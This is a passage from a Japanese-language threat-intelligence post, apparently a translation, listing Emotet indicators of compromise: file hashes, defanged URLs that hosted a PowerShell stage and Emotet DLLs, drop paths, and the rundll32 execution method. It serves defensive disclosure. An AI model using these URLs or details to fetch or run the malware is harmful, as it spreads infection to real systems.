monospace;\">5bd4987db7e6946bf2ca3f73e17d6f75e2d8217df63b2f7763ea9a6ebcaf9fed<br \/>\n<\/span>\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 1,353\u30d0\u30a4\u30c8<br \/>\n\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240: <span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/91.240.118[.]168\/se\/s.png<br \/>\n<\/span>\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: 2\u6bb5\u76ee\u306ePowerShell\u30b9\u30af\u30ea\u30d7\u30c8<\/p>\n<h3>\u4ed8\u9332C: 2022\u5e741\u670827\u65e5\u306bEmotet DLL\u3092\u516c\u958b\u3057\u3066\u3044\u308bURL<\/h3>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/unifiedpharma[.]com\/wp-content\/5arxM\/<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/hotelamerpalace[.]com\/Fox-C404\/LEPqPJpt4Gbr8BHAn\/<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">hxxps:\/\/connecticutsfinestmovers[.]com\/Fox-C\/mVwOqxT17gVWaE8E\/<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/icfacn[.]com\/runtime\/n7qA2YStudp\/<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">hxxps:\/\/krezol-group[.]com:443\/images\/PmLGLKYeCBs5d\/<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/ledcaopingdeng[.]com\/wp-includes\/Qq39yj7fpvk\/<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/autodiscover.karlamejia[.]com\/wp-admin\/hcdnVlRIiwvTVrJjJEE\/<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">hxxps:\/\/crmweb[.]info:443\/bitrix\/rc9XjtwF\/<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/accessunited-bank[.]com\/admin\/hzIgVwq8btak\/<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/pigij[.]com\/wp-admin\/MVW5\/<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/artanddesign[.]one\/wp-content\/uploads\/A2cZL7\/<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/strawberry.kids-singer[.]net\/assets_c\/WAdvNT84Dmu\/<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">hxxps:\/\/eleccom[.]shop:443\/services\/AEjSDj\/<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">hxxps:\/\/izocab[.]com\/nashi-klienty\/B5SC\/<\/span><\/p>\n<h3>\u4ed8\u9332D: 2022\u5e741\u670827\u65e5\u306eEmotet DLL\u306e\u4f8b<\/h3>\n<p>SHA256\u30cf\u30c3\u30b7\u30e5: <span style=\"font-family: 'courier new', courier, monospace;\">2de72908e0a1ef97e4e06d8b1ba3dc0d76f580cdf36f96b5c919bea770b2805f<br \/>\n<\/span>\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 516,096\u30d0\u30a4\u30c8<br \/>\n\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240: <span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/unifiedpharma[.]com\/wp-content\/5arxM\/<br \/>\n<\/span>\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240: <span style=\"font-family: 'courier new', courier, monospace;\">C:\\Users\\Public\\Documents\\ssd.dll<br \/>\n<\/span>\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240: <span style=\"font-family: 'courier new', courier, monospace;\">C:\\Users\\[username]\\AppData\\Local\\[random characters]\\[random characters].[random characters]<br \/>\n<\/span>\u5b9f\u884c\u65b9\u6cd5: <span style=\"font-family: 'courier new', courier, monospace;\">rundll32.exe [filename],[any string]<\/span><\/p>\n<p><em>2022-02-17 09:30 JST: 2022-02-15 \u306b\u884c\u308f\u308c\u305f\u539f\u6587\u306e\u66f4\u65b0\u306b\u5408\u308f\u305b\u3066\u65e5\u672c\u8a9e\u7248\u3092\u66f4\u65b0 (\u611f\u67d3\u624b\u6cd5\u306e\u3088\u308a\u53e4\u3044\u521d\u8a8d\u65e5\u3092\u8ffd\u8a18)<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 Unit 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